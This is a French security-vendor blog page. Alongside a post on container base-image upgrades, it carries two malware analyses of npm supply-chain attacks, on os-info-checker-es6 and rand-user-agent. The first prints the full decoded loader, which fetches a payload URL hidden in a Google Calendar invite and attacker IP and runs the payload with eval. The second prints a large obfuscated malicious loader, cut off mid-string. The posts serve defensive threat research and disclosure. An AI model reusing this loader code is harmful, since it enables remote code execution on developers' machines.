Produit
Tout ce dont vous avez besoin pour sécuriser le code, le nuage et le temps d'exécution, dans un système central
Code
Dépendances
Prévenir les risques liés aux logiciels libres (SCA)
Secrets
Attraper les secrets dévoilés
SAST
Sécuriser le code tel qu'il est écrit
Images des conteneurs
Sécuriser facilement les images
Logiciels malveillants
Prévenir les attaques de la chaîne d'approvisionnement
L'infrastructure en tant que code
Recherche de mauvaises configurations dans l'IaC
Risque de licence et SBOM
Éviter les risques, respecter les règles
Logiciels obsolètes
Connaître les durées d'exécution de la fin de vie
Cloud
Cloud / CSPM
Configurations erronées de l'informatique en nuage
DAST
Tests de sécurité en boîte noire
Analyse de l'API
Testez vos API pour détecter les vulnérabilités
Machines virtuelles
Pas d'agents, pas de frais généraux
Exécution de Kubernetes
bientôt
Sécurisez vos charges de travail en conteneur
Inventaire des nuages
La prolifération des nuages, résolue
Défendre
Protection Runtime
Pare-feu intégré / WAF
Caractéristiques
AI AutoFix
Corrections en 1 clic avec Aikido AI
Sécurité CI/CD
Analyse avant fusion et déploiement
Intégrations IDE
Obtenir un retour d'information instantané pendant le codage
Scanner sur site
L'analyse locale axée sur la conformité
Solutions
Cas d'utilisation
Conformité
Automatiser SOC 2, ISO et plus encore
Gestion de la vulnérabilité
Gestion des vulnérabilités tout-en-un
Sécurisez votre code
Sécurité avancée du code
Générer des SBOM
1 clic sur les rapports du SCA
SGAA
AppSec de bout en bout
L'IA à l'Aïkido
Laissez l'Aikido AI faire le travail
Bloc 0-Jours
Bloquer les menaces avant qu'elles n'aient un impact
Industries
FinTech
Technologies de la santé
HRTech
Technologie juridique
Sociétés du groupe
Agences
Startups
Entreprise
Applications mobiles
Fabrication
Tarifs
Ressources
Développeur
Docs
Comment utiliser l'Aïkido
Documentation sur l'API publique
Centre de développement de l'aïkido
Changelog
Voir ce qui a été expédié
Sécurité
Recherche interne
Renseignements sur les logiciels malveillants et les CVE
Glossaire
Guide du jargon de la sécurité
Trust Center
Sûr, privé, conforme
Source ouverte
Aikido Intel
Fil d'information sur les logiciels malveillants et les menaces OSS
Zen
Protection par pare-feu intégrée à l'application
OpenGrep
Moteur d'analyse de code
Intégrations
IDE
Systèmes CI/CD
Nuages
Systèmes Git
Conformité
Messagers
Gestionnaires de tâches
Plus d'intégrations
A propos
A propos
A propos
Rencontrer l'équipe
Carrières
Nous recrutons
Dossier de presse
Télécharger les actifs de la marque
Calendrier
A bientôt ?
Source ouverte
Nos projets OSS
Blog
Les derniers messages
Témoignages de clients
La confiance des meilleures équipes
Contact
Connexion
Essai gratuit
Sans CB
Aikido
Menu
Aikido
EN
EN
FR
JP
Connexion
Essai gratuit
Sans CB

Bienvenue sur notre blog.

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.
Par
Charlie Eriksen
Charlie Eriksen

Attaque de la chaîne d'approvisionnement XRP : Le paquet officiel du NPM est infecté par une porte dérobée qui vole de la crypto-monnaie.

Logiciels malveillants
22 avril 2025
Lancement du logiciel malveillant Aikido - Open Source Threat Feed
Par
Madeline Lawrence
Madeline Lawrence

Lancement du logiciel malveillant Aikido - Open Source Threat Feed

Actualités
31 mars 2025
Les logiciels malveillants se cachent à la vue de tous : Espionner les pirates nord-coréens
Par
Charlie Eriksen
Charlie Eriksen

Les logiciels malveillants se cachent à la vue de tous : Espionner les pirates nord-coréens

31 mars 2025
Vous êtes invités : Diffusion de logiciels malveillants via les invitations de Google Calendar et les PUA
Par
Charlie Eriksen
Charlie Eriksen

Vous êtes invités : Diffusion de logiciels malveillants via les invitations de Google Calendar et les PUA

Le 19 mars 2025, nous avons découvert un paquet appelé os-info-checker-es6 et nous avons été déconcertés. Nous avons compris qu'il ne faisait pas ce qu'il disait. Mais de quoi s'agit-il ? Nous avons décidé d'enquêter sur la question et nous sommes d'abord tombés dans des impasses. Mais la patience paie et nous avons fini par obtenir la plupart des réponses que nous cherchions. Nous avons également appris à connaître les PUA Unicode (non, pas les artistes de la drague). C'était un tour de montagnes russes d'émotions !

Qu'est-ce que le paquet ?

Le paquet ne donne pas beaucoup d'indices en raison de l'absence d'un LISEZ-MOI . Voici à quoi ressemble le paquet sur npm :

Ce n'est pas très informatif. Mais il semble qu'il récupère des informations sur le système. Continuons. 

Un code malodorant le trahit

Notre pipeline d'analyse a immédiatement soulevé de nombreux signaux d'alerte à partir des éléments suivants du paquet preinstall.js en raison de la présence d'un eval() avec une entrée encodée en base64. 

‍

Nous voyons le eval(atob(...))) call. Cela signifie "Décoder une chaîne base64 et l'évaluer", c'est-à-dire exécuter du code arbitraire. Ce n'est jamais bon signe. Mais quelle est l'entrée ? 

L'entrée est une chaîne de caractères résultant de l'appel à décoder() sur un module Node natif livré avec le paquet. L'entrée de cette fonction ressemble à... Juste un |? ! Qu'est-ce que c'est ? 

Plusieurs grandes questions se posent ici :

  1. Que fait la fonction de décodage ?
  2. Quel est le rapport entre le décodage et la vérification des informations relatives au système d'exploitation ?
  3. Pourquoi ? eval()Le faire ? 
  4. Pourquoi la seule entrée est-elle une |?

Allons plus loin

Nous avons décidé de faire de la rétro-ingénierie sur le binaire. C'est un petit binaire Rust qui ne fait pas grand chose. Nous nous attendions initialement à voir des appels à des fonctions pour obtenir des informations sur le système d'exploitation, mais nous n'avons RIEN vu. Nous avons pensé que le binaire cachait peut-être d'autres secrets, fournissant ainsi la réponse à notre première question. Nous y reviendrons plus tard.

Mais alors, pourquoi l'entrée de la fonction n'est-elle qu'un simple |? C'est ici que les choses deviennent intéressantes. Ce n'est pas l'entrée réelle. Nous avons copié le code dans un autre éditeur, et ce que nous voyons est :

Womp-womp ! Ils ont failli s'en tirer. Ce que nous voyons est appelé caractères Unicode "Private Use Access". Il s'agit de codes non attribués dans la norme Unicode, qui est réservée à un usage privé et que les gens peuvent utiliser pour définir leurs propres symboles pour leur application. Ils sont intrinsèquement inimprimables, car ils ne signifient rien en soi. 

Dans ce cas, le décoder dans le binaire natif de Node décode ces octets en caractères ASCII encodés en base64. C'est très astucieux !

Faisons un tour d'horizon

Nous avons donc décidé d'examiner le code réel. Heureusement, il enregistre le code qu'il a exécuté dans un fichier run.txt. Et c'est juste ça :

console.log('Vérifier') ;

C'est super inintéressant. Qu'est-ce qu'ils préparent ? Pourquoi font-ils tous ces efforts pour cacher ce code ? Nous étions stupéfaits. 

Mais ensuite...

Nous avons commencé à voir des paquets publiés qui dépendaient de ce paquet, l'un d'entre eux étant du même auteur. Il s'agissait de

  • skip-tot (19 mars 2025)
    • Il s'agit d'une copie du paquet vue-skip-to.
  • vue-dev-serverr (31 mars 2025)
    • Il s'agit d'une copie du repo https://github.com/guru-git-man/first.
  • vue-dummyy (3 avril 2025)
    • Il s'agit d'une copie du paquet vue-dummy.
  • vue-bit (3 avril 2025)
    • Prétend être le paquet @teambit/bvm.
    • Il ne contient pas de code réel.

‍

Ils ont tous en commun d'ajouter os-info-checker-es6 en tant que dépendance, mais ne jamais appeler le décoder fonction. Quelle déception ! Nous n'avons aucune idée de ce que les attaquants espéraient faire. Il ne s'est rien passé pendant un certain temps, jusqu'à ce que le os-info-checker-es6 a été remis à jour après une longue pause.

ENFIN

Cette affaire me trottait dans la tête depuis un certain temps. Elle n'avait aucun sens. Qu'est-ce qu'ils essayaient de faire ? Ai-je raté quelque chose d'évident en décompilant le module Node natif ? Pourquoi un attaquant brûlerait-il cette nouvelle capacité si tôt ? La réponse est venue le 7 mai 2025, lorsqu'une nouvelle version de os-info-checker-es6, version 1.0.8est sorti. Les preinstall.js a changé. 

Oh regardez, la chaîne obscurcie est beaucoup plus longue ! Mais la eval est commenté. Ainsi, même si une charge utile malveillante existe dans la chaîne obfusquée, elle ne sera pas exécutée. Qu'en est-il ? Nous avons exécuté le décodeur dans un bac à sable et imprimé la chaîne décodée. La voici après un peu d'embellissement et d'annotations manuelles :

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

Avez-vous vu l'URL de Google Calendar dans l'orchestrateur ? C'est une chose intéressante à voir dans un logiciel malveillant. Très intéressant. 

Vous êtes tous invités !

Voici à quoi ressemble le lien :

‍

Une invitation à un calendrier dont le titre est une chaîne encodée en base64. Superbe ! La photo de profil de la pizza m'a fait espérer qu'il s'agissait peut-être d'une invitation à une soirée pizza, mais l'événement est prévu pour le 7 juin 2027. Je ne peux pas attendre aussi longtemps pour une pizza. Je vais quand même prendre une autre chaîne encodée en base64. Voici ce que cela donne :

http ://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

Dans une impasse... encore

Cette enquête a connu des hauts et des bas. Nous pensions que les choses étaient dans une impasse, mais des signes de vie sont réapparus. Nous avons été à deux doigts de découvrir la VÉRITABLE intention malveillante du développeur, mais nous n'y sommes pas parvenus.

Ne vous y trompez pas : il s'agit d'une nouvelle approche de l'obscurcissement. On pourrait penser que toute personne ayant consacré le temps et les efforts nécessaires à la réalisation d'un tel projet utiliserait les capacités qu'elle a développées. Au lieu de cela, ils semblent n'en avoir rien fait, montrant ainsi leur main. 

Par conséquent, notre moteur d'analyse détecte désormais des schémas comme celui-ci, où un attaquant tente de dissimuler des données dans des caractères de contrôle non imprimables. Il s'agit d'un autre cas où le fait d'essayer d'être intelligent, au lieu de rendre la détection plus difficile, crée en fait plus de signaux. Parce qu'il est tellement inhabituel qu'il se démarque et qu'il affiche un grand signe disant "JE SUIS EN TRAIN DE FAIRE DU MAL". Continuez à faire du bon travail. 👍

Indicateurs de compromis

Emballages

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URL

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Remerciements

Au cours de cette enquête, nous avons été aidés par nos grands amis de Vector35, qui nous ont fourni une licence d'essai pour leur outil Binary Ninja afin de s'assurer que nous comprenions parfaitement le module Node natif. Un grand merci à l'équipe pour leur excellent produit. 👏

‍

Logiciels malveillants
13 mai 2025
Pourquoi la mise à jour des images de base des conteneurs est si difficile (et comment la faciliter)
Par
Mackenzie Jackson
Mackenzie Jackson

Pourquoi la mise à jour des images de base des conteneurs est si difficile (et comment la faciliter)

La sécurité des conteneurs commence par l'image de base.
Mais il y a un hic :

  • Le simple fait de passer à la "dernière" version d'une image de base peut endommager votre application.
  • Vous êtes contraint de choisir entre l'expédition de vulnérabilités connues et des journées entières consacrées à la résolution de problèmes de compatibilité.
  • Et souvent, vous n'êtes même pas sûr qu'une mise à niveau en vaille la peine.

Dans cet article, nous allons voir pourquoi la mise à jour des images de base est plus difficile qu'il n'y paraît, nous allons voir des exemples concrets et nous allons montrer comment vous pouvez automatiser des mises à jour sûres et intelligentes sans casser votre application.

Le problème : "Il suffit de mettre à jour votre image de base" - Plus facile à dire qu'à faire

Si vous lisez ceci, vous avez probablement cherché sur Google quelque chose comme "Comment sécuriser vos conteneurs" et le premier point de chaque article généré par l'IA que vous avez lu est le suivant : mettez à jour votre image de base. C'est simple, non ? Pas si vite. 

Votre image de base est votre point central de sécurité, si votre image de base contient des vulnérabilités, alors votre application porte ces vulnérabilités avec elle. Jouons ce scénario. 

Vous lancez un scan de votre image de conteneur et un CVE de haute sévérité est trouvé. La recommandation utile est de mettre à jour l'image de base, ce qui est fantastique, vous aurez terminé avant le déjeuner. 

⚠️ CVE-2023-37920 trouvé dans ubuntu :20.04
Sévérité: Élevée
Corrigé dans: 22.04
Recommandation: Mettre à jour l'image de base

...mais vous découvrez un problème. 

En passant aveuglément de ubuntu:20.04 à ubuntu:22.04Votre demande est rejetée.

Examinons quelques exemples de surimpression d'une image de base et ce qui se passe dans la réalité. 

Exemple 1 : Un fichier Docker qui se casse la figure après une mise à jour

Fichier Docker initial :

FROM python:3.8-buster‍
Exécuter apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]

L'équipe se met à niveau :

FROM python:3.11-bookworm‍
Exécuter apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]

Résultat :

  • psycopg2==2.8.6 ne compile pas contre les versions plus récentes de libpq les en-têtes sur rat de bibliothèque.
  • flask==1.1.2 ne prend pas en charge Python 3.11 les fonctionnalités d'exécution (les API obsolètes sont interrompues).
  • La construction est interrompue dans le CI.
  • Votre équipe de développement est en colère et votre déjeuner est gâché. 

Exemple 2 : mises à jour de l'image de base introduisant des bogues d'exécution subtils

Original :

FROM node:14-busterCOPY. /app
RUN npm ci
CMD ["node", "server.js"]

Mise à niveau vers :

FROM node:20-bullseye
COPY . /app
RUN npm ci
CMD ["node", "server.js"]

Problème d'exécution :

  • nœud:20 utilise des produits plus récents OpenSSL versions - la vérification stricte de TLS casse les anciennes configurations d'axios.
  • L'application lance UNABLE_TO_VERIFY_LEAF_SIGNATURE erreurs lors de l'exécution HTTP les appels vers les services existants.

Pourquoi le "dernier cri" est un piège

L'écosystème Docker encourage l'utilisation des dernières balises ou des versions les plus récentes. Mais cela signifie souvent que votre application qui fonctionnait le lundi tombe soudainement en panne le mardi. Il s'agit souvent d'un piège qui entraîne des maux de tête, des pannes et un ralentissement du développement, car vous passez du temps à corriger les bogues. 

La solution est donc évidemment d'épingler une version mineure que vous avez testée.... Pas si vite, car vous entrez maintenant dans le jeu de la sécurité à la carte, où vous découvrirez sans cesse de nouvelles CVE qui pourraient vous rendre vulnérable. 

Paralysie décisionnelle : Faut-il ou non procéder à une mise à niveau ?

Les équipes chargées de la sécurité insistent pour que les mises à jour soient effectuées.
Les développeurs repoussent les mises à jour pour des raisons de stabilité.

Qui a raison ? Cela dépend.

MAIS, pour comprendre la décision, vous devez examiner toutes les options, ce qui signifie créer une feuille de calcul massive de toutes les versions, des risques de sécurité, des risques de stabilité et de la disponibilité. 

Voyons à quoi cela pourrait ressembler. 

Étiquette de la version CVE présents (élevés/critiques) Risque de compatibilité (1-5) Changements clés / Risque fonctionnel Support des binaires de l'écosystème (binaires Wheels/NPM)
node:14-buster (Actuel) - CVE-2022-35256 (débordement de mémoire tampon OpenSSL)
- CVE-2022-25883 (SSRF node-fetch)
- CVE-2021-32803 (pollution de prototype dans object-path)
1 (Stable mais vieillissant) TLS hérité, dépendances non sécurisées intégrées Entièrement pris en charge mais en fin de vie (maintenance arrêtée en avril 2023)
node:14-bullseye - Mêmes CVE que ci-dessus + problèmes mineurs supplémentaires liés à OpenSSL 1 Modifications mineures de la glibc
Modifications potentielles de la compatibilité de la couche d'exécution de Docker
Stable ; l'écosystème wheel & NPM est toujours supporté
node:16-buster - CVE-2023-30581 (écriture OOB de libuv)
- CVE-2022-35256 (débordement OpenSSL)
- CVE-2022-25883 (SSRF de node-fetch)
2 Constructeur Buffer() avertissements de dépréciation
Les bibliothèques HTTP héritées émettent des avertissements stricts
Largement soutenu
node:16-bullseye - Idem que ci-dessus + mises à jour mineures d'OpenSSL 2 Comportement légèrement différent du résolveur DNS
Besoin d'une couverture de test pour les appels au réseau interne
Soutenu
node:18-bullseye - CVE-2022-45195 (vulnérabilité TLS dans l'ancienne version)
- CVE-2023-30581 (écriture OOB dans libuv)
3 Mode strict de TLS par défaut
Axios et les bibliothèques de requêtes plus anciennes échouent sur les certificats stricts.
Ecosystème à mi-maturité ; certains modules nécessitent des mises à jour
nœud:18-alpin - Identique au précédent ; risques d'incompatibilité avec la glibc alpine 4 Alpine musl peut casser certains modules natifs comme bcrypt
Problèmes liés à la récupération des sources (Build from source fallback)
Nécessite des reconstructions pour les binaires natifs
node:20-bullseye - 0 CVE élevé (stable actuellement) 4 Breaking DNS resolver changes
Default ESM loader changes
axios < 1.3.2 breaks
Soutien actif ; rattrapage de l'écosystème
node:20-libraire (dernier) - 0 CVE élevés (en mars 2024) 5 Changements majeurs :
Strict TLS
DNS changes
ESM enforcement
Older NPM plugins fail
Certains modules de niche sont encore en cours de rattrapage ; la dernière version de node-gyp est requise.

Vous vous retrouvez donc face à des choix complexes, médiocres et impossibles. 

  1. Rester sur l'ancienne image et accepter les vulnérabilités
  2. Mettre à jour et casser votre application, en risquant des arrêts de production
  3. Tentative de test de compatibilité manuel - jours de travail

Le processus de mise à niveau manuelle :

Si vous le faites à la main, voici à quoi cela ressemble :

  • Vérifier les CVE : trivy image python:3.8-buster
  • Recherchez chaque CVE : est-il accessible dans votre contexte d'application ?
  • Choisir un candidat à la mise à niveau 
  • Tester la nouvelle image :
    • Construire
    • Exécuter les tests unitaires
    • Exécuter les tests d'intégration
  • En cas d'échec, essayez de corriger le code ou de mettre à jour les bibliothèques.
  • Répéter l'opération pour chaque récipient.

C'est épuisant.

Le coût de l'immobilisme

Vous pensez peut-être que "si ce n'est pas cassé, il ne faut pas le réparer".

Mais les vulnérabilités non corrigées des conteneurs contribuent massivement aux failles de sécurité : "87 % des images de conteneurs fonctionnant en production présentaient au moins une vulnérabilité critique ou de grande gravité" . 

Il existe également de nombreux exploits connus dans les images de base populaires. 

  • Faille de sécurité dans les chemins d'accès à Unzip (CVE-2020-27350) - sont restés dans des millions de conteneurs pendant des années.
  • Heartbleed (CVE-2014-0160) sont restés dans les anciens conteneurs bien après les corrections officielles.
  • PHP-FPM RCE (CVE-2019-11043) permettent à des attaquants distants d'exécuter du code arbitraire par le biais de requêtes HTTP élaborées et étaient extrêmement répandues dans les images de base de conteneurs avec PHP-FPM préinstallé avant d'être patché

L'utilité de notre fonction Auto-Fix

Pour résoudre ce problème, Aikido Security a mis en place une fonction d'auto-fixation des conteneurs, car nous vivons aussi cette situation. 

La fonctionnalité fonctionne comme suit : Aikido scanne vos images et vos conteneurs à la recherche de vulnérabilités. Si (ou plus probablement quand) nous trouvons des vulnérabilités, comme toujours nous vous alertons, puis au lieu de vous crier de mettre à jour votre image de base, nous vous fournissons différentes options. Nous créons un tableau qui vous permet de savoir quelle version de l'image de base résoudra quelles CVEs, de cette façon vous pouvez très rapidement voir qu'une modification mineure peut supprimer toutes ou une majorité de CVEs élevées, ce qui signifie qu'il s'agit d'une mise à jour adéquate de l'image de base. 

Si la mise à jour est mineure, vous pouvez automatiquement créer une demande d'extension pour augmenter la version. 

Ce sont des heures de travail économisées

Conclusion :

  • La mise à jour des images de base des conteneurs est vraiment difficile.
  • Le conseil de se contenter d'une mise à niveau simplifie à l'extrême un processus complexe et porteur de risques.
  • Vos équipes ont raison d'être prudentes, mais elles ne devraient pas avoir à choisir entre sécurité et stabilité.
  • Le conteneur autofix d'Aikido fait le travail pour vous afin que vous puissiez prendre une décision en toute connaissance de cause. 
  • Ainsi, la prochaine fois que vous verrez une alerte de vulnérabilité de l'image de base, vous ne paniquerez pas. Vous obtiendrez une RP.

‍

Ingénierie
12 mai 2025
RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)
Par
Charlie Eriksen
Charlie Eriksen

RATatouille : Une recette malveillante cachée dans rand-user-agent (Compromission de la chaîne d'approvisionnement)

Le 5 mai, à 16h00 GMT+0, notre pipeline d'analyse automatisée des logiciels malveillants a détecté la publication d'un paquet suspect, rand-user-agent@1.0.110. Il a détecté un code inhabituel dans le paquet, et il ne s'est pas trompé. Il a détecté les signes d'une attaque de la chaîne d'approvisionnement contre ce paquet légitime, qui compte environ 45 000 téléchargements hebdomadaires. 

Qu'est-ce que le paquet ?

Le paquet `rand-user-agent` génère des chaînes de caractères aléatoires pour les user-agents en se basant sur leur fréquence d'apparition. Il est maintenu par la société WebScrapingAPI(https://www.webscrapingapi.com/).

Qu'avons-nous détecté ?

Notre moteur d'analyse a détecté un code suspect dans le fichier dist/index.js. Regardons-le, ici vu à travers la vue du code sur le site de npm :

Code caché par la barre de défilement dans rand-user-agent

Avez-vous remarqué quelque chose d'étrange ? Vous voyez cette barre de défilement en bas ? Mince, ils ont recommencé. Ils ont essayé de cacher le code. Voici ce qu'ils essaient de cacher, en plus joli :

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 